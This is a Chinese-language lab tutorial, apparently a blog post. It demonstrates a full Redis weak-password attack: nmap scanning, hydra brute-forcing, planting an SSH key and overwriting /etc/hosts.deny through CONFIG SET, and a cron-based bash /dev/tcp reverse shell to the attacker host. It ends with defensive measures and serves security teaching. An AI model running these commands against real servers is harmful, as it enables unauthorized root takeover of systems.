一、概述
1.1、redis简介
Redis(Remote Dictionary Server)是一个开源的内存数据存储系统,也被称为缓存数据库,它提供了高性能、可扩展、支持多种数据结构的键值存储。由于它将数据存储在内存中, 所以访问速度非常快并且支持多种数据结构,具有广泛的使用场景。
起初它是一个纯内存数据库, 所有数据保存在内存中, 一旦进程关闭或崩溃,所有数据都会丢失。为了解决这个问题, 2010年3月发布的2.0版本中引入了持久化技术, 这使得Redis可以将数据保存到磁盘上,以便在重启后恢复数据。
如果redis未设置密码或使用了弱密码, 攻击者可以成功连接到Redis,而无需进行任何身份验证。一旦连接成功,攻击者就可以执行未经授权的操作, 窃取或篡改业务数据。
本文将演示攻击者如何利用弱密码获得redis访问权限进而利用持久化功能劫持服务器, 以及如何防御。
二、攻击演示
2.1、实验环境
操作系统 | 软件版本 | IP地址 | 角色 | 主机名 |
---|---|---|---|---|
Centos 7.9 | redis-6.2.0 | 192.168.64.22 | 靶机 | node02 |
Kali linux 6.1.0-kali9-amd64 | 192.168.64.200 | 攻击机 | kali |
2.2、环境准备
2.2.1、node02安装redis
1.安装redis
安装6.2.0版本,选择编译安装
#安装依赖包
yum install -y gcc make tcl systemd-devel
#如果是低版本的系统可能需要升级gcc, gcc版本必须5.0以上
#下载源码包
cd /usr/local/src/
wget https://download.redis.io/redis-6.2.0.tar.gz
tar xf redis-6.2.0.tar.gz && cd redis-6.2.0
#编译安装
cpus=grep "processor" /proc/cpuinfo |wc -l
make -j $cpus USE_SYSTEMD=yes && make -j $cpus install
#创建所需目录
useradd -M -s /sbin/nologin redis
mkdir -p /data/redis/6379 && chown -R redis.redis /data/redis
mkdir -p /var/log/redis/6379 && chown -R redis.redis /var/log/redis
rm -f /usr/lib/systemd/system/redis.service
#写服务配置文件
cat >>/usr/lib/systemd/system/redis.service <<EOF
[Unit]
Description=Redis data structure server
Documentation=https://redis.io/documentation
Wants=network-online.target
After=network-online.target
[Service]
ExecStart=/usr/local/bin/redis-server /etc/redis/redis.conf --supervised systemd --daemonize no
LimitNOFILE=10032
NoNewPrivileges=yes
OOMScoreAdjust=-900
PrivateTmp=yes
Type=notify
TimeoutStartSec=20
TimeoutStopSec=20
UMask=0077
User=root
Group=root
[Install]
WantedBy=multi-user.target
EOF
#拷贝配置文件
mkdir /etc/redis
cp redis.conf /etc/redis/
2.配置redis
#修改程序监听地址
sed -i 's/^bind 127.0.0.1/bind 0.0.0.0/' /etc/redis/redis.conf
#配置一个弱密码
echo 'requirepass 123456' >>/etc/redis/redis.conf
#开启日志
sed -i 's#^logfile .*$#logfile /var/log/redis/6379/redis.log#' /etc/redis/redis.conf
grep '^logfile' /etc/redis/redis.conf
sed -i 's#^dir .*#dir /data/redis/6379#' /etc/redis/redis.conf
grep '^dir' /etc/redis/redis.conf
#添加端口放行
firewall-cmd --add-port=6379/tcp
firewall-cmd --runtime-to-permanent
3.测试
systemctl daemon-reload #重新加载systemd的守护进程配置文件
systemctl enable --now redis #启动redis
[root@node02 redis-6.2.0]# redis-cli -p 6379 #连接redis
127.0.0.1:6379> info #需要认证
NOAUTH Authentication required.
127.0.0.1:6379> auth 123456 #使用密码认证
OK #使用锁密码认证成功
127.0.0.1:6379> info
# Server
redis_version:6.2.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:76e31301884cfd41
redis_mode:standalone
...
检查下监听地址
2.2.2、安装kali linux
略
2.3 弱密码猜解
2.3.1、网络扫描
Kali:
┌──(liang㉿kali)-[~]
└─$ nmap -p 6379 --script redis-info 192.168.64.0/24 #扫描网段,找到服务器地址
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-26 07:05 EDT
Nmap scan report for 192.168.64.1
Host is up (0.0039s latency).
PORT STATE SERVICE
6379/tcp closed redis
Nmap scan report for 192.168.64.200
Host is up (0.00060s latency).
PORT STATE SERVICE
6379/tcp closed redis
Nmap done: 256 IP addresses (2 hosts up) scanned in 1.64 seconds
┌──(liang㉿kali)-[~]
└─$
2.3.2、密码字典
密码字典
需要先准备一个密码字典用于暴力破解redis密码。
Crunch是一个强大的密码字典生成工具,它允许用户根据自定义规则和模式生成密码字典。
用法:
crunch <min_length> <max_length> <character_set> [options]
<min_length>:生成密码的最小长度。
<max_length>:生成密码的最大长度。
<character_set>:指定字符集,例如数字、小写字母、大写字母、特殊符号等。
options:
-o 指定输出的字典文件
-f 指定字符集文件, 后面还要跟上字符集的名称(cat /usr/share/crunch/charset.lst)
-d 限制相同元素出现的次数
-t
-s
-e
...
演示使用, 这里使用crunch
生成一个简单的纯数字的密码字典。
┌──(liang㉿kali)-[~/data]
└─$ crunch 6 6 -o password.list -f /usr/share/crunch/charset.lst numeric -d 1
Crunch will now generate the following amount of data: 4133430 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 590490
crunch: 100% completed generating output
┌──(liang㉿kali)-[~/data]
└─$
2.3.3、密码猜解
Hydra是一款流行的密码破解工具,用于暴力破解各种网络服务的登录凭证。它是一个开源工具,支持许多常见的协议和服务,如SSH、FTP、Telnet、HTTP、SMTP、RDP、Redis等, 并且支持多线程。
常用参数:
-p(小写) PASS 尝试使用的密码
-P(大写) FIle 使用的密码字典
-l(小写) LOGIN 使用的用户名
-L(大写) FILE 从文件加载多个用户名
-t TASKS 并发连接数
密码猜解
┌──(liang㉿kali)-[~/data]
└─$ hydra -P password.list -t 8 redis://192.168.64.22 #使用刚刚生成的密码字典,并发8个连接
观察redis服务器的网络连接,可以看到这八个连接
破解速度取决于服务器性能, 正确密码的位置等等。
┌──(liang㉿kali)-[~/data]
└─$ hydra -P password.list -t 8 redis://192.168.64.22
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-26 10:51:22
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 590490 login tries (l:1/p:590490), ~73812 tries per task
[DATA] attacking redis://192.168.64.22:6379/
[STATUS] 4198.00 tries/min, 4198 tries in 00:01h, 586292 to do in 02:20h, 8 active
[STATUS] 4229.33 tries/min, 12688 tries in 00:03h, 577802 to do in 02:17h, 8 active
[STATUS] 4239.00 tries/min, 29673 tries in 00:07h, 560817 to do in 02:13h, 8 active
[STATUS] 4254.67 tries/min, 63820 tries in 00:15h, 526670 to do in 02:04h, 8 active
[6379][redis] host: 192.168.64.22 password: 123456 #正确密码
[STATUS] attack finished for 192.168.64.22 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
由于我这是在arm芯片上模拟x86cpu运行的虚拟机性能很差, 花费了十多分钟, 感兴趣的同学可以自己试一下。可以看到给出了正确密码123456
2.4、获取root权限
拿到密码后, 登录redis
┌──(liang㉿kali)-[~/data]
└─$ redis-cli -h 192.168.64.22 -p 6379 -a 123456
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.64.22:6379> info #登录成功
# Server
redis_version:6.2.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:76e31301884cfd41
redis_mode:standalone
...
2.4.1、生成ssh密钥
攻击机先生成一对ssh密钥:
┌──(liang㉿kali)-[~]
└─$ ssh-keygen -t rsa -N ''
Generating public/private rsa key pair.
Enter file in which to save the key (/home/liang/.ssh/id_rsa):
Created directory '/home/liang/.ssh'.
Your identification has been saved in /home/liang/.ssh/id_rsa
Your public key has been saved in /home/liang/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:0dRC8vOGtq1AqK9CEXQeEwaBIkKNcuAVQTbzdAceeTg liang@kali
The key's randomart image is:
+---[RSA 3072]----+
|o=B@Oo +=oo. |
|B.===ooEo*. . |
|=o ... .+ +. |
| . . . + |
| . . S o o |
| . . . . + |
| . . . . . |
| . . . . |
| .... . |
+----[SHA256]-----+
┌──(liang㉿kali)-[~]
└─$ cat ~/.ssh/id_rsa.pub #公钥
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC34Sr9V98QXFqUTKdhi4FvLh1bZJ3HpjklatfmgkYyguTGK4xSadiBwdyzDMomlZ8dlL2lKKkLiTUAnXBnZCkarrvDgiNkRGWc4tagVdTtmi2/1eXeQEnPniDHj7TLzY56EaUvAlpWCuTEEuYqj/9YhgOBSXRKPHQ5o5mBTQPgTNhShGtFicLjHE9U7gg8EGa7TqLF+U3hy9t101RGXMYkXUrLvEoSLrZt7ECRoneXORfo2fUcsw4nGIy7SrIqhp+xM6fNuUZPENWHn5fFTtAzSK3io6MmXPXw8p47cHH6iAQOXdApEYoIv3MaviQp+L4aeoCYsVYcj98I0S6NcF9R0yD8216CC7UgTgpB+HkRDQLjHc0jWkYhCg9j6vnO1ATLTbgoMWmiWKpwzoRjIjHLND8I1niyjvbAXK24vm0T2ZOWAi0aUNbi3hcZdhVg933+mzqJDztqS1vvKTZa/ZZZxRRYYDKJJiAVS+nR1a7clnVHCK9DC9pjKDOoQGRKAeE= liang@kali
┌──(liang㉿kali)-[~]
└─$
2.4.2、修改redis server持久化配置
将生成的ssh公钥放入靶机的ssh密钥认证文件中, 具体操作如下:
┌──(liang㉿kali)-[~/data]
└─$ redis-cli -h 192.168.64.22 -p 6379 -a 123456
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.64.22:6379>
192.168.64.22:6379>
192.168.64.22:6379> config get dir #查看当前存储位置
1) "dir"
2) "/data/redis/6379"
192.168.64.22:6379> config set dir /root/.ssh #修改到ssh认证密钥目录
OK
192.168.64.22:6379> config get dbfilename #查看当前数据文件名
1) "dbfilename"
2) "dump.rdb"
192.168.64.22:6379> config set dbfilename authorized_keys #将持久化存储文件名改为认证文件名
OK
192.168.64.22:6379> config get dir #最后检查下
1) "dir"
2) "/root/.ssh"
192.168.64.22:6379> config get dbfilename #最后检查下
1) "dbfilename"
2) "authorized_keys"
192.168.64.22:6379>
2.4.3、写入ssh公钥
192.168.64.22:6379> flushall #清空所有数据,防止数据量大产生干扰
OK
192.168.64.22:6379> set k "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC34Sr9V98QXFqUTKdhi4FvLh1bZJ3HpjklatfmgkYyguTGK4xSadiBwdyzDMomlZ8dlL2lKKkLiTUAnXBnZCkarrvDgiNkRGWc4tagVdTtmi2/1eXeQEnPniDHj7TLzY56EaUvAlpWCuTEEuYqj/9YhgOBSXRKPHQ5o5mBTQPgTNhShGtFicLjHE9U7gg8EGa7TqLF+U3hy9t101RGXMYkXUrLvEoSLrZt7ECRoneXORfo2fUcsw4nGIy7SrIqhp+xM6fNuUZPENWHn5fFTtAzSK3io6MmXPXw8p47cHH6iAQOXdApEYoIv3MaviQp+L4aeoCYsVYcj98I0S6NcF9R0yD8216CC7UgTgpB+HkRDQLjHc0jWkYhCg9j6vnO1ATLTbgoMWmiWKpwzoRjIjHLND8I1niyjvbAXK24vm0T2ZOWAi0aUNbi3hcZdhVg933+mzqJDztqS1vvKTZa/ZZZxRRYYDKJJiAVS+nR1a7clnVHCK9DC9pjKDOoQGRKAeE= liang@kalinnnn" #将我们的公钥以kv对的形式存储近redis
192.168.64.22:6379> save #然后持久化存储,这样我们的key就保存到了服务器认证目录上
OK
192.168.64.22:6379>
如果服务器配置了TCP Wrappers
,我们同样可以利用持久化机制覆盖/etc/hosts.deny
, 如下:
┌──(liang㉿kali)-[~]
└─$ redis-cli -h 192.168.64.22 -p 6379 -a 123456
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.64.22:6379>
192.168.64.22:6379> config set dir /etc
OK
192.168.64.22:6379> config set dbfilename hosts.deny
OK
192.168.64.22:6379> flushall
OK
192.168.64.22:6379> set k ''
OK
192.168.64.22:6379> save
OK
192.168.64.22:6379>
原文件内容已被覆盖
登录测试
登录成功, 获得root权限。
2.4.4、反弹式shell
如果ssh被拦截无法使用, 可以使用反弹式shell登录主机。
1.向计划任务中写入反弹式shell
┌──(liang㉿kali)-[~]
└─$ redis-cli -h 192.168.64.22 -p 6379 -a 123456
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.64.22:6379>
192.168.64.22:6379> config set dir /var/spool/cron
OK
192.168.64.22:6379> config set dbfilename root
OK
192.168.64.22:6379> flushall
OK
192.168.64.22:6379> set k "\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.64.200/51127 0>&1nn"
OK
192.168.64.22:6379> save
OK
192.168.64.22:6379>
2.攻击机上启动nc监听51127端口,等待靶机连接
等待1分钟, 可以看到靶机已经连接上了。
至此登录成功并获得服务器root权限。
三、如何防御
回顾整个攻击流程:
- 网络扫描找到目标IP和端口号
- 弱密码口令猜解
- config修改Redis配置, 改写敏感系统文件(密钥认证, 计划任务)获得root权限
- ssh远程登录
- 建立反弹式shell
根据每个攻击步骤我们可以制定相应的防御方法:
-
将服务监听在内网网卡上, 互联网访问通过代理转发进行
开启防火墙, 服务端口只对指定IP开放。
-
redis设置复杂的认证密码。
-
此处的关键点在于config命令在线修改redis配置进而篡改关键系统文件
a. 在redis配置中添加"修改或禁用高危命令"屏蔽相关config命令
b. 以普通用户运行服务并设置shell类型为/sbin/nologin, 使其即使修改了redis配置也没有足够的权限篡改系统文件。
- 对于ssh登录行为, 进行双因子认证。
- redis作为缓存服务器通常位于web服务器与数据库服务器之间, 这种情况下是完全不需要访问外网的, 可以关闭外网访问权限。
另外, 我们可以加强网络监控, 包扩但不限于redis, ssh等网络连接, 对历史连接的IP进行分析梳理, 对异常或新加入的IP进行分析检测,分析判断是否为异常IP, 从而加强风险监测。
https://www.hugbg.com/archives/3780.html
评论